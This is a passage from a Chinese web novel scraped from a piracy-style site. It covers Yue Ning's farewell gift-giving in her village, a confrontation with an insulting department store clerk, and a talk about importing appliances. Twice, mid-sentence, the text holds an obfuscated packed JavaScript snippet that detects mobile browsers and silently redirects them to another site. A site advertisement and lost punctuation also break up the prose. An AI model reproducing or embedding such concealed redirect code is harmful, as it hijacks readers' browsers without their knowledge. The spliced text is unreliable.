其他人一看，不对啊！李巧妹不是说三到五口的家庭就给一块布料、一包糖吗？这春梅家两个大人三个孩子，给这么多？岳宁还是分了亲疏的，给陆春梅多些也是应该的。 陆春梅看着几块颜色鲜亮又爽滑的布料，想到自己昨夜熬 了半宿给岳宁做的布衫，就不好意思拿出来了。 她看了一眼放在凳子上的衣服，要不今天晚上用岳宁给的的确良再给她裁一件？ “婶儿！”岳宁唤回走神的陆春梅，指着自行车说，“婶儿，我爷爷给忠义叔买了辆自行车。” 陆春梅惊叫起来：“啥？给你叔买自行车？不行，不行，这可不成。” 别说陆春梅惊叫，其他人也惊得差点掉了下巴。自行车啊！整个大队就两辆，都是大队干部出去办事才骑的。一年到头连肚子都填不饱，谁家有闲钱去买自行车？刚才他们还在想，陆春梅这么照顾岳宁，最后也没多得多少好处，这一转眼人家就送来一辆自行车。 “她婶婶。”岳宝华上前一步，“宁宁昨晚跟我说，说你把她当女儿一样疼。实在是这里东西不好买，就一辆自行车，聊表寸心。您就收下吧。” 陆春梅也不接话，转头喊：“秀秀，叫你爹出来。” 秀秀拔腿进屋，把她爹拉出来。陆春梅要给岳宁赶件衣裳，**义在里头烙饼，丫头拉着他往外，他嘴里叫：“饼要糊了。” “我去烙。”秀秀跑进去。 “忠义，快来看你的自行车。”一个同族大哥喊。 **义摸不着头脑，看向自家女人。陆春梅指着那辆崭新的自行车说：“岳宁爷爷给买的自行车，这么大的礼，我一个女人做不了主。” “不行，不行！这不是钱的问题，还得要票，不能拿。”**义脑袋摇得像拨浪鼓。 有了男人这句话，陆春梅拉着岳宁：“听见了吧？你叔也说不能拿。这些布料和糖果，我们都能拿，这车子咱们不能要。” “怎么就不能拿了？您不拿，这车子给谁？”岳宁问陆春梅。 “当我们是你叔你婶，就不该买这么贵的东西。给我一辆自行车，那不是要把这些年咱们之间的情分都买断了？”陆春梅不知道自己怎么了，一想到岳宁要走了，忍不住眼泪掉下来。 见自家女人哭，**义瞪了她一眼：“你哭啥子？岳宁一个丫头孤零零的，咱们也没能帮她多少，现在好了，她爷爷来了。以后她有长辈照顾，去港城也比咱们这个穷山沟强吧？” 蹲在水泥板上闲聊的六指阿根跳了下来，走到夫妻俩面前：“忠义哥，你也别骂嫂子。嫂子，你别胡思乱想。跟咱没情分？岳宁是这样的人吗？这辆自行车在咱们看来那是一整年的 工分啊！但在岳宁的爷爷这里，就跟从黄牛身上拔了一根**一样，不值得一提。他们祖孙俩给的，你们就收下。岳宁走了，肯定还会给咱来信的，这孩子念旧。 “对，我会给你们写信。岳宁拉住春梅婶的胳膊，“婶儿，我不会忘记你们的。 岳宝华没想到自己要的两辆自行车会一辆都送不出去，他也赶忙赔罪：“她叔叔婶婶，是我考虑不周到，你们对宁宁的这份情，我们祖孙不会忘记。等她安顿好了，以后我们俩还会来的。 “忠义叔，自行车您收着，一大家子有辆自行车也方便点。岳宁再劝。 阿根拍着**义的肩：“收着吧！你再不收，就是在为难岳宁了。 “这……礼讲究有来有往，我这……**义是真心为难。 “没事，礼不讲究值多少钱，讲究的是心意，只要心意一样重，那就是有来有往。阿根说道。 **义点头，跟岳宝华说：“她爷爷，那我们就厚着脸皮收下了。 岳宝华开心地笑：“好好。 小说更新，记住域名ｃａｉｘｓ?(请来才 小说 看最新章节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912438|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完整章节) 岳宁总算把一辆车送了出去，她拉着六指阿根到后边一辆车边说：“阿根叔，这辆车给你了。 “给我？六指阿根不敢相信自己的耳朵。 岳宁笑：“你刚才不是说了吗？礼不讲究值多少钱，讲究的是心意…… 岳宁话还没说完，六指阿根拔腿就逃，边逃边摆手：“不要不要，我不要，这么贵的，我不要啊！ 这人！ 六指阿根跑得快，岳宁追得紧，总算把他给拦住了。 “这车，你要也得要，不要也得要。要是你不要，我就跟人说，你跟葛…… “葛字刚刚出口，六指阿根着急上火：“死丫头，你别瞎说。 岳宁翻了个白眼：“给你这辆车，就是想让你去公社方便些，希望你早点给我把婶子娶回来。 “我……阿根低头，这话怎么说呢？ “我什么我？帮别人帮得那么起劲，说起道理来头头是道，怎么轮到自己就这个不好意思，那个不行了？跟我客气个什么？岳宁笑了一声，“我还给你留了块布料，半斤糖。那块布料跟秀秀的那块差不多，葛大姐穿着肯定好看。要不要，说句话？ 阿根一张黝黑的脸涨得像猪肝色，憨厚地笑了一声：“要。 “那就回去，拿车，拿布料？ “哎！ 两人往回 走，岳宁忍不住笑，这个世界上怎么会有这么聪明，又这么憨的人？ “别笑了。六指阿根恼羞成怒。 这外强中干的表情，岳宁怎么可能当回事？继续笑个不停。 回到陆春梅家门口，岳宁把车给他，又转身去拿了一袋糖、一块花布，放到他手里：“叔，这块布，这包糖，帮我给畜牧站的葛大姐，没有葛大姐，那次羊瘟，要是一圈羊全**，我肯定被人骂克父不够，连羊都克。要是有空，帮我给葛大姐送点柴，她是个斯文人，力气小。 岳宁还给他创造了光明正大接近人家的机会，六指阿根扶着自行车：“我知道了。 岳宁把两辆自行车都送了出去，她拿了一块布、一包糖给五保户三奶奶：“三奶奶您拿着。 三奶奶把布推了出去：“阿宁，三奶奶老了，不穿这样的好布料。 “给您的，您就拿着。岳宁塞到她手里。 三奶奶边上坐的是田枣花，岳宁转身过去拿东西，两块布，两包糖，这又是要给谁家呢？ 田枣花的眼睛一直盯着岳宁，岳宁没有往她这里来，而是去了另外一头，她把布和糖给了有十三口人的一家子。 这会儿岳宁给人送东西，倒是按照李巧妹说的来了，基本上不偏不倚。不过又要轮到田枣花了，她又换了一头分。 眼见东西没自己的份，一直穿土布的村民，实在忍不住拿出来看，说这个料子又糯又滑，说这个料子颜色多鲜亮。 田枣花哪有心思纳鞋底？眼见岳宁除了她，其他人家都已经分完了。 阿发帮着岳宁一起收拾，岳宁跟岳宝华说：“爷爷，还剩下八户没分，走一走就好了。 这个意思是？他们家没份？田枣花脱口而出：“岳宁。 岳宁早就注意到脸拉得越来越长的田枣花，她还很意外，田枣花今天倒是耐得住性子，这不？忍不住了。 “枣花婶，什么事？岳宁似笑非笑地看着她。 大家都往这边看过来，有人小声说着：“在地里的时候，我就说岳宁不会给他们家，枣花还…… 岳宁的笑容刺痛了田枣花，这话又钻进她耳朵里，别人都有他们家没有，已经够丢人了，自己还开口要，要来了也丢人，要不来更丢人。 田枣花扯出了一抹笑容，走过去拿起凳子上的土布格子衫：“岳宁，你春梅婶怕你穿着打补丁的衣服回去，给你做了件 布衫。这布料应该是她结婚时候压箱底的嫁妆那会儿可时兴了人人都有你春梅婶舍不得穿这不拿出来给你做了衣衫。她这份心倒是好只是现在你爷爷来接你了以后穿不完的的确良这件衣服怕是看不上了吧？” 陆春梅想要抢过岳宁一脸惊喜先从田枣花手里接过衣衫问：“婶儿给我做的？” 都已经到岳宁手里了陆春梅点头又摇头：“今天晚上再给你做一件这件布料不好。” 的确良确实流行岳宁却不想赶这个时髦她拿着衣服在身上比划：“这件很好我就要这一件。您别拿那两块布料给我做就像枣花婶说的以后我去了港城穿不完的的确良那东西不稀罕了这个才稀罕。我就穿着婶儿给我做的衣服离开小杨沟。” 陆春梅笑着又想哭了她扯着衣服说：“我还有一个扣眼没锁好我锁好了给你。” “我把剩下布料和糖去分了再回来拿衣服。”岳宁放开了衣服。 陆春梅坐下拿起针线 “谁眼红？还当我没见过这么点东西？”田枣花拿着鞋底劲儿劲儿地往前走。 陆春梅浑身舒坦：“反正我是没见过好东西先给阿彪做呢？还是给秀秀做？” 岳宁拍了阿发的脑袋：“去小学等吃饭我们好了也马上过来。” 阿发飞快地跑了岳宁和岳宝华一起提着袋子往里走岳宁说起小时候：“我春梅婶的手最巧了我小时候罗爷爷寄来了布票爸爸买了布就请春梅婶给我做长大了她教我纳鞋底教我做衣服……” 夏天的傍晚岳宝华听着孙女说着她在小杨沟的点点滴滴这些日子的焦虑和担忧渐渐地化作对未来的期盼…… 第 17 章 过人的控场能力 第17章第17章 【过人的控场能力】 岳宁穿着春梅婶做的布衫,抱着爸爸的骨灰盒上了车，离开了生活了十四年的小杨沟。 他们先坐车从县城到市里，接着坐火车从市里前往隔壁省的省城,最后坐飞机去北京。在那个时候,飞机可不是普通人能乘坐的,买飞机票也不是随随便便就能买到的。幸亏有陈主任陪同，知道如何开具介绍信、购买机票，他们才得以顺利成行。 一路上都在匆匆赶路,也顾不上其他。岳宁脚上依旧是一双打了补丁的布鞋，身上的衣衫，一件是春梅婶新给她做的土布衫，另外两件则是她的旧衣衫。 宾馆对面就是百货大楼,岳宝华带着孙女前往百货大楼买衣服。百货大楼位于十字路口,中间有个圆形岛台，穿着白色制服的警察正在那儿指挥交通。祖孙俩穿过马路,只见百货公司是方方正正的苏联式建筑，门面上刷着两排标语。 门口人潮涌动，岳宝华穿着短袖POLO衫,岳宁身着土布衣裳,这样的组合吸引了不少人的目光。走进百货公司，底楼经营食品和小百货。岳宝华看到柜台有卖冰激凌，便问岳宁：“宁宁，吃冰吗？” “嗯！” 岳宝华拉着孙女，询问她想吃什么。岳宁选了这辈子唯一吃过的芝麻雪糕。她剥开包装纸,正要找垃圾桶,岳宝华便接过了包装纸。岳宁侧头，看到爷爷满眼的宠爱,只听爷爷说道：“快吃，要化了。” 岳宁站在角落里吃雪糕，岳宝华见食品柜台有人排队，便说：“我去看看，那里有什么能买的。” 岳宁吃着雪糕，看着爷爷排队买了一包东西，然后兴匆匆地走了回来。 一根小巧的雪糕，岳宁几口就吃完了。 很自然地，岳宝华把糕饼递给她，又从她手里拿走了冰棍的棒子，说道：“宁宁，这个水晶饼好多人买。 ”岳宁拿出一块水晶饼咬了一口，岳宝华扔完垃圾回来，问道：“好吃吗？” “好甜。”岳宁把纸袋递给他，“爷爷吃。” 岳宝华接过纸袋，也拿了一个饼吃起来。这水晶饼的馅料很甜，带着桂花和橘子的香气，他平时不太吃甜食，但看到孩子吃得高兴，自己也吃得开心。岳宁吃完，岳宝华又塞给她一块手帕，酥皮点心有点油腻，岳宁擦了擦手。 “上楼买 衣服去。岳宝华说。 祖孙俩上了楼。到底是省城的百货大楼，楼下是食品和日用品区，二楼则是服装、皮具、布料和女性用品区。 两人先来到女装柜台，外头是一长条玻璃柜，背后一人高的格子里叠放着衣服，柜子上面贴着红标语：“发展经济，保障供给。时代已经转变为以发展经济为先了，出样的一排排衣服，样式多了起来，颜色也鲜亮了许多，的确良衬衫正被众人疯抢。 天气渐渐热了，岳宁知道的确良不太透气，还是想穿纯棉面料的衣服。纯棉面料的衬衫，印花质量比不上的确良，颜色也没的确良鲜亮，所以少有人问津。岳宝华跟在孙女身后一路走着，想想港城街头的靓女们的穿着，这里的衣服，他一件都瞧不上。 岳宁低头看着柜台，只见柜台里摆放着白、蓝、绿三种颜色的小方领衬衫。她对营业员说：“同志，拿白色小号和中号的给我试试。 营业员眼皮一抬，说道：“这个是棉布的，要布票的。 “我有。这些年岳宁想方设法还爸爸欠大队的工分，粮食她得吃，粮票没省下多少，衣服她几乎没做过。要么是跟阿根叔杀猪杀羊的时候，主家看她一个小小年纪的姑娘做这种活，身上的衣衫补了又补，便给她几件旧衣服；要么是村里分了棉花，下雨天，她去三奶奶家，跟着三奶奶一起纺纱，三奶奶帮她织布，用土布做衣服。 营业员弯腰从玻璃柜里拿出一件衬衫，岳宁又指了指边上的裤子：“一尺七腰，藏青色的。 营业员蹲下去翻找，从上翻到下，仰头问道：“没有了，只有卡其色的和土黄色的，你要不要？ “要，帮我拿一条出来，我试试。 营业员拿了一条土黄色的裤子出来，指了指边上拉着的帘子：“去试吧。 岳宁拿着衣服往里走，营业员一条手臂撑在柜台上，跟岳宝华说道：“老同志，你对你们家保姆可真好，还给她买衣服。 “保姆？岳宝华的脸立马拉长，沉声说道，“这是我孙女，我亲孙女。 营业员露出惊讶的语气：“啊？那为什么你穿得这么齐整，你孙女却穿得跟要饭似的？ 岳宝华差点一口气没缓过来，心想内地的营业员怎么一点基本素养都没有？揣测打听顾客的私事，还说这么不礼貌的话。 “我和孩子失散很多年，刚刚找到她。岳宝华 越发不高兴“别人的私事你很有兴趣？” 营业员不以为意地笑了一声：“随便问问你这个老同志这么大惊小怪做什么？” 岳宝华实在不想搭理她便往布帘那边看去。 岳宁在布帘里换衣服这试衣间就在柜台边上爷爷和营业员的对话她听得一清二楚。在物资并不充裕的年代百货商店的营业员近水楼台能搞到紧俏商品尤其是省城最大的百货大楼的营业员更是亲友们捧着的对象一个个都有些飘飘然不知道自己是谁了。 岳宁很快换好了衣服长袖衬衫她先穿了小号的大小倒是差不多可长度太短了；换上中号的长度合适了却又太大了些那就当宽松版来穿吧。裤子就好多了这个年代的裤子裤管都预留了很长一段她个头高刚好不用裁剪等下买个针线自己回宾馆撬边就行。 “同志我个子矮身体又圆这件衣服太长了盖住了屁股不好看。有没有短一点的？” “冬瓜跟丝瓜一样穿绿衣 这些营业员就不会说句好听的话吗？岳宁照着镜子这辈子从小爸爸给她扎两根麻花辫爸爸没了之后她也一直这么扎毕竟乡间的姑娘都这样她一个牧羊女也用不着特立独行。此刻她的眼前闪过上辈子的自己的打扮那个靠自己打下一片天空的她打扮很随性却又自成风格。 岳宁解开麻花辫散开头发麻花辫扎久了头发卷曲成了大波浪…… “你说话能不能考虑一下别人的感受？你是店员她是你的顾客她买了东西你才有工钱怎么能对自己的衣食父母大呼小叫？”爷爷的声音沉稳且有力所言极是可惜营业员不会这么想他们有着自己的一套逻辑。 “老同志你这是什么想法？什么时候她成我的衣食父母了？我吃的是国家饭。我这人实事求是她长得不好看穿什么都不好看自己心里没点数。”营业员毫不示弱铿锵有力地反驳道。 爷爷来自港城两边思维差异巨大跟营业员讲道理简直是鸡同鸭讲。 岳宁掀开帘子从里面走出来她的出现让营业员眼前陡然一亮。 只见营业员嘴巴像晒干爆开的豆荚话语噼里啪啦往外蹦：“老同志您眼神还行吧？您自己瞧瞧您家丫头 长得好看，没人要的黄裤子穿在她身上也好看。可她呢，身体像冬瓜，两条腿像棒…… 岳宁这才看到被营业员羞辱的顾客，是一位身形富态的大姐。此刻，大姐脸涨得通红，额头和鼻尖布满汗珠，浑身微微颤抖。 “你……爷爷还想跟营业员理论。 岳宁一步挡在爷爷面前，直面这个营业员。她笑眯眯的，语气却平静得让人发怵：“你龅牙凸嘴，牙齿都能当钉耙了；眼睛长得像绿豆，跟王八倒是很配；脸皮糙得像树皮…… 营业员没想到她张嘴就骂，手指着岳宁，气急败坏地吼道：“你骂谁呢？ 岳宁一把捏住她的手，反手一压，将其压在玻璃上。岳宁可是能扛起农村壮劳力的人，店里卖货的营业员哪有挣脱的力气。岳宁环视周围，高声问道：“大家评评理，你们觉得我这是在骂人，还是实话实说？ “实话实说！ 营业员这会儿哪还有心思吵架，拼命扭动身体：“放开我啊！ 其他柜台的几个营业员见状不对，两个赶忙跑过来，一个推开了柜台后的门。 眼见有了帮手，这个营业员又硬气起来：“你放开我啊！ “大家都说我说的是实话，你认不认？岳宁丝毫没有松手的意思。 这时，一个男营业员出来打圆场：“你刚才的话确实侮辱人了。 “没错，其实她的牙不算特别难看，只是比我凸一点；眼睛也不算太小，只是比我小一点。我刚才那些话就是在骂人，就是在侮辱人。天下人要是长得都标准，那不成一个模子刻出来的了？龙生九子，各有不同。有人胖有人瘦，有人腿长有人腿短。作为百货大楼的营业员，天天接触顾客，她不想着广大劳动人民的需求反馈给厂家，反倒嘲笑顾客身材。这位大姐不过是富态了些，富态难道不是好事吗？国家为什么要改革开放？不就是为了提高人民生活水平吗？岳宁松开了手，走向那个从柜台后出来的中年男人，在他面前站定，“要是人人都像我一样瘦得跟竹竿似的，那能是好事？同志，您说是不是这个理？ 那个营业员跑过来，到中年男人身边，喊了声：“朱经理…… 岳宁转头看向现场顾客，高声说道：“各位大哥大姐，**同志说，对待同志要像…… 这是所有人耳熟能详的语录，大家自然而然地接话：“春天 般的温暖。” 岳宁接着引导：“对待工作要像……” “夏天一样火热！”这一声比刚才更响亮。 “……” 大家的声音一声比一声有力。引导大家念完语录岳宁转向那位中年领导：“领导同志您肯定很了解这位同志您说说她对待广大劳动人民像春天般温暖吗？她对待工作像夏天一样热情吗？” 营业员向来眼睛长在头顶态度恶劣顾客们对此都深有感触。这会儿岳宁出头他们纷纷附和。 “他们可不像夏天一样火热而是像夏天的太阳一样毒辣！” “……” 这位领导一看形势不妙赶忙举起双手示意大家安静：“大家批评得对确实是我们营业员同志态度有问题我们一定整改。” “各位大哥大姐安静一下。”岳宁高声喊道“我们要相信领导有整改的决心这位女同志也有改正的意愿这个事情让他们内部去解决。但是……” 她转向那位营业员营业员这种恶劣态度已成常态以前最多把顾客骂跑顾客高兴与否她根本不在乎。 现在周围人声嘈杂： “她要能改太阳都得从西边出来。” “这种人就是不到黄河心不死不见棺材不掉泪。” “改得好才怪！” “就是他们那副嘴脸比后妈还难看。” “……” 岳宁表情严肃 这是唱哪出？营业员一双不大的眼睛瞪得滚圆完全摸不着岳宁的意图。 “每个人都要为自己的错误负责知错能改才是好同志对吧？”岳宁脸上又挂上笑容“您也去给那位大姐道个歉。” 营业员还没行动她的领导可不想事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912439|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再闹大主要是这小丫头太能折腾了看她气质还有说话的腔调再加上她身后那位气度不凡的老爷子莫不是哪位领导微服私访逛百货大楼来了？ 领导赶忙握住岳宁的手：“小同志你这是将心比心举例子教育她呢哪能让你道歉？” “终究是说了不礼貌的话该道歉还是得道歉。人心换人心劳动人民之间要有**友谊不友爱互助可不行。”岳宁与他握手回应。 “是啊！思想不端正确实得批评教育。” 边上一个营业员过来提 醒那个骂人的营业员：“主动点。” 骂人的营业员这才反应过来走过去握住富态大姐的手：“同志实在对不住我刚才说话口气太差了请您原谅。” “同志真是不好意思我们后续一定会整改。”领导也赶忙赔罪。 “没……没事。”大姐结结巴巴地回应她为人淳朴哪见过这种场面这样的道歉让她有些手足无措。 领导看向岳宝华停顿了一下又把目光收回到岳宁这边热情地说：“小同志谢谢你指出我们工作中的不足。” “也是你们本身对工作有要求愿意接受善意建议。有您这样的领导你们肯定会越做越好。”岳宁笑着低头看身上“我去换衣服了还得买衣服呢！” “好好！” 岳宁掀开帘子去换衣服。 这位领导没立刻回办公室而是走到岳宝华身边：“老同志您家孙女可真是个人物啊！” 孙女从试衣间出来波浪长发宽松的白衬衫下摆塞进裤腰如此平平无奇的搭配宁宁却穿出了港城女明星的韵味。 比起打扮上带来的冲击她为人处世的成熟更让岳宝华震撼。自己在旺角那种鱼龙混杂的地方开饭馆摸爬滚打多年才练就一身圆滑能处理随时可能发生的冲突。自己是后天练出来的可宁宁小小年纪就能把大道理融入这么一件小事里还让自己占据有利位置达成目的。这位先生说得没错他的宁宁确实不简单。 “孩子确实能干！” “听您口音 “我是粤城人。”岳宝华回答。 “呦粤城人在咱们这儿可不多见。您是来出公差的？” 真是上梁不正下梁歪这人跟他的下属一样工作时间还跟人闲聊。要是在港城老板肯定当场就把他们炒了。岳宝华耐着性子说：“我来接孩子。” “哦！您这孙女在这儿上大学吧？放假了您亲自来接她回家？小姑娘一看就是精心培养出来的也只有你们这样的家庭才能培养出这么优秀的孩子。” 岳宝华被这番话弄得不胜其烦恰在此时听到一声：“华叔。” “抱歉我朋友来了。”岳宝华指了指楼梯口的人朝着乔君贤走去。 岳宝华走过去问道：“二少怎么在这儿？” “想看看内地百货公司的经营情况主要了解下哪些家电畅销。我上大学时代 理了一个西德品牌的家电，在鸿安百货和大卖场卖得都很好。这次跟爷爷来内地，看看有没有合作机会。 乔君贤来了有一会儿了，华叔的这位孙女，认识短短几天，却总是给他带来惊喜。刚才见识了她的控场能力，实在太厉害了。他本想跟岳宝华打个招呼，见岳宝华正和人聊天，就等在一旁，看到岳宝华一脸无奈，估计是嫌烦了，便主动上前打招呼。 “看得怎么样？岳宝华眼睛盯着柜台那边，跟乔君贤交谈着。 “还没看呢！乔君贤看到岳宁掀开帘子出来，“岳宁出来了。 岳宁换回了土布衫和打补丁的裤子，头发来不及编辫子，随意扎了个马尾。 百货公司领导张大了嘴巴，一个时髦姑娘进去，怎么换了个淳朴的山村姑娘出来？ 岳宁看到乔君贤，一脸诧异：“乔先生，您也在这儿？ “我来看看家电。 “是吗？ “你们慢慢逛，我先上去了。乔君贤说。 “再见。 岳宁转身对营业员说：“同志。 营业员此刻可不敢再怠慢这个小姑奶奶，不管她穿得像村姑还是像城里人：“衬衫和裤子，您穿着都好看。 “我要中号的，蓝色和绿色的我也要。岳宁把两件衬衫放在柜台上。 大家嫌弃这颜色不够鲜亮，岳宁却很喜欢。这蓝色是带着灰度的雾霾蓝，绿色中透着黄色，如同秋天草原渐渐变黄，是中国传统色中的枯绿。上辈子她开高端饭店，主打国风特色，还将中国画技巧运用到摆盘上，枯绿这种虽不鲜亮却很有意境的颜色，她用得很多。 “这件也要？营业员特意拆开那件绿色的，“小同志啊，这件是布料厂染坏了颜色，处理给服装厂，服装厂搭售给我们的，不用布票，还便宜。 “要。岳宁又让她把两条裤子拿了出来。 营业员算好价格，开好票，把钱和票夹在夹板上，挂到头顶的钢丝绳上，大声唱票：“一共四十三块八，收四十五块。 这可真是一笔巨款，她在小杨沟一年的分红都没这么多。 夹板顺着钢丝绳划到收银台，找零和敲了章票又从钢丝绳上回来。 岳宁把衣服装进打了补丁的布袋里，斜跨在身上，又去鞋子柜台买了一双丁字型皮鞋，一双球鞋，再买了内衣内裤，她的内衣全是自己缝的小背心，土布厚不透而且厚，穿这个衬衫里面小背心上打了多少补丁都能透出来。 孙女不扭捏该买就买，岳宝华心里高兴，他提着鞋盒和岳宁一起下楼。 祖孙俩到楼梯口，乔君贤刚好下来。 第 18 章 有共同语言（捉虫）... 第18章第18章 【有共同语言（捉虫）】 三人一起下楼,乔君贤问：“买好了？” “买齐了。你呢？看得怎么样？” “很意外，这里的电器价格非常贵，你知道一台双门雪柜要多少钱吗？”乔君贤问。 岳宁装不知道,问道：“雪柜是什么？” 电冰箱这玩意儿,对她来说记忆久远,远到上辈子。 乔君贤这才意识到，他们刚把岳宁从山里接出来，之前她根本没有接触外面世界的机会,连忙道歉：“Sorry呀！” 在港城，人们习惯中英文混杂，岳宁根本没机会学英文。乔君贤察觉到自己连道歉都用英文，而岳宁可能听不懂,便纠正道：“抱歉,我只是顺口问，雪柜就是制冷的机器,双门雪柜，一个门可以制冰，另一个门可以保持低温,用来存放饮料、西瓜之类的东西。” 岳宁指了指卖冰激凌的冷冻柜：“是这个吗？” “对,不过这个只有冷冻功能，家用雪柜还有冷藏功能。这里一台雪柜将近七百块。” “这么贵？听陈先生说，他们薪水也不过几十块，难道要一年的工钱？”岳宝华也感到诧异。 “而且有钱也买不到，凭票供应。”乔君贤笑着说,“一台十四寸的黑白电视机,也要五百多。” 岳宁问道：“那港城雪柜和电视机多少钱呢？” “港城早就流行彩电了，彩电大约一千港币,雪柜的话也不到一千港币。人民币按照官方牌价，人民币和港币汇率大约是1:3.5左右，也就是说折算成港币，一台双门雪柜要两千五港币，一台黑白电视机一千八港币。” 自己国家在这个产业上落后，价格贵似乎也无可厚非。岳宁记得当年她去里约热内卢，在国内卖三四千的手机，在巴西能卖到七八千。 他们走出门口等红绿灯，岳宝华说：“所以，如果能在国内打开销路，利润会非常可观。” “对！虽说国内收入低，但是十亿人口就是一个巨大的市场。哪怕万分之一的人买得起电视机、雪柜，那也是个庞大的数量级。”乔君贤兴奋地说道。 岳宝华也为他高兴，更是佩服乔家人对生意的敏锐洞察力，相比之下，自己陪孩子去买衣服就真的只是买衣服。 就在这时，岳宁出声问道：“乔先生，火车上您 跟陈主任讨论国内经济形势，陈主任说咱们国家外汇储备有多少？ 虽然岳宁的问题很突兀，乔君贤还是回答道：“1.67亿美金。 “你从德国买，到中国卖，赚到的钱要换成美金出去吧？中国一共就这么多外汇储备，你觉得改革开放了，设备不用买了？紧缺原料不用买了？这点外汇都用来给万分之一的有钱人买雪柜和电视机，让外国人赚中国人的钱？岳宁笑着问道。 被当头泼了一瓢冷水，乔君贤恍然大悟：“也是哦！ “绿灯了，过马路。岳宁说。 三人过了马路，乔君贤摇头道：“岳宁，你可真是一语惊醒梦中人。 “还有啊！如果放开国外这些家用电器进来，国外的机器又便宜又好，会不会击垮国内那些雪柜、电视机的生产厂商呢？ “也是啊！乔君贤应道。 上辈子岳宁研究生读的是商科，后来自己做老板，对国家的经济发展历史自然了解。不过现在的她自然不能这么说，便说道：“我只是听广播，知道个大概。您可以问陈主任，他不是外经贸口子的吗？肯定清楚。 走进宾馆门，乔君贤叹了一声：“不用问，家电是个大行业，上层肯定会想办法推广国产。就算现在销售的产品，起码落后国外两代，他们也会想方设法扶持这些企业。瞄准中高端客户，实际上能买得起国产电视机的已经算是高端客户了。再往上就是顶层了，那些人的话，我手里的这个牌子在国际市场上又不够分量。我在来的路上听陈主任说，现在中日两国交往密切。我想两国又是邻邦，日本的家电行业极其发达，日本厂商进入中国就在眼前，一旦日本厂商在中国设厂，我的牌子就更没有竞争力了。这一点，已经在泰国市场得到验证了。 “不仅是泰国吧？我今天给酒楼新添的冷气机，发现价格也降了很多。岳宝华说。 “就是泰国来的。泰国在二战的时候，很早就投降日本。战后日本发展，泰国政局稳定后，日本厂商在泰国设厂。原本我们的品牌在泰国卖得不错，日本品牌泰国组装的雪柜、电视机和冷气机在泰国上市后，一来泰国对本土生产的家电有保护政策，二来泰国人工便宜，所以相比从日本进口，泰国产的日本家电价格降了20%，我们的品牌就竞争不过了 。 “这就对了，日本厂商在泰国开厂，你也认为他们还会去中国开厂，你代理的那个品牌为什么不能在中国开厂？只要德国厂商愿意，你们家跟国内的关系不错，肯定也能开啊！岳宝华这次可是见识到乔家在国内的关系。 “可这不是关系能解决的事，对上面的领导来说，这是姓资还是姓社的问题。引入外资企业可不是那么简单的。 “怎么说？ “好啊！我先把东西放了。岳宁指了指肩上的包。 “OK. 岳宁接过爷爷手里的鞋子，回房上了卫生间，出来看到沙发上的布包，她把买的衣服全拿了出来，又塞了两条裤子和针线进包里，带着包出门去。 乔君贤的房门开着，岳宝华已经在里面了。 岳宁进去，岳宝华已经注意到她背着那个破旧的布包。 乔君贤站起来问：“岳小姐喝咖啡还是茶？ “都不喝，怕晚上睡不着，白开水就好。岳宁从包里拿出针线，穿起线来。 “宁宁，你这是干嘛呢？岳宝华头上都要冒汗了，孙女怎么在这里做起针线活了？ 岳宁拿出裤子：“明天要穿，我今天把裤脚边给撬好。大队里组织社员开会，哪个妇女同志手里能没个针线？ 乔君贤端着茶杯的手顿了顿，把茶杯放在茶几上：“岳小姐喝水。 岳宁抬头：“谢谢！ 她转而低头继续做针线：“乔先生，我没什么经验，就是凭着自己听广播，结合自己的经历感受，说说我自己的看法。 “你说。 “您知道蛇口工业区吗？ 乔君贤摇头：“我刚回来，不知道。 岳宝华说：“元朗对过的那块地方。 “那里啊！ “广播里说，蛇口工业区开始炸山填海了，这个工业区好像是两平方公里，作为引入外资的试验田。放在和港城连接的鹏城，这个引入外资是引入哪里的资金？一个裤腿缝好了，岳宁咬断线，“两平方公里，很小，引入港城资金，是因为港城有你们这些爱国企业家，叫试验田，是因为心里没底。 “那就算了。乔君贤靠在沙发上，“也是我一时头脑发热。 “别就这么放弃呀！岳宁换了个裤腿缝，“上面改 革开放肯定是一步一步来的呀！七七年恢复高考，我兴奋极了，去报名，他们说我不符合报考条件。但是七八年就已经放宽了，要不是家里的羊发羊瘟，我就去参加高考了，现在应该已经上了一年大学了。你看变化多快。 “你为了羊，没去参加大学选拔考试？乔君贤无法理解，他念书的时候，申请大学是头等大事，“这难道不是第一重要的事吗？ “政策说放宽对考生家庭审核，更注重考生本人的品格。如果我去参加考试之后，羊群死一半，这算不算以自己的利益为先，国家利益为后？那我个人的审核肯定不能通过，考了也白考。 “那今年呢？岳宝华问。 岳宁飞针走线：“还有半个多月就该参加考试了。 “难怪你一开始说不想跟我回港城。 “爷爷，您想什么呢？无非就是早一年上大学还是晚一年上而已。我就拿这个举例。引入德国厂商，就像我参加高考，需要严格审核，还要一步一步来，但是引入港城爱国商人的资金开厂，就像是七七年参加高考的一批人，立马就可以。所以为什么不是你自己开厂呢？ 岳小姐在山沟沟里长大，就算天赋绝佳，到底阅历有限，乔君贤摇头：“这简直是异想天开，在国际市场上，现在家电品牌，欧美品牌尤其是德国品牌占领高端市场，日本跟德国竞争，韩国已经崛起，港城的制造业看似风风火火，实际上就是做做服装加工、电子产品加工这些，根本没有拿得出手的品牌，也没有这方面的技术积累。况且引进彩电、雪柜生产线，可不是小投资，我曾经建议过这家企业到东南亚设厂，他们算过一个数据，一条彩电生产线大概1.2亿美金。 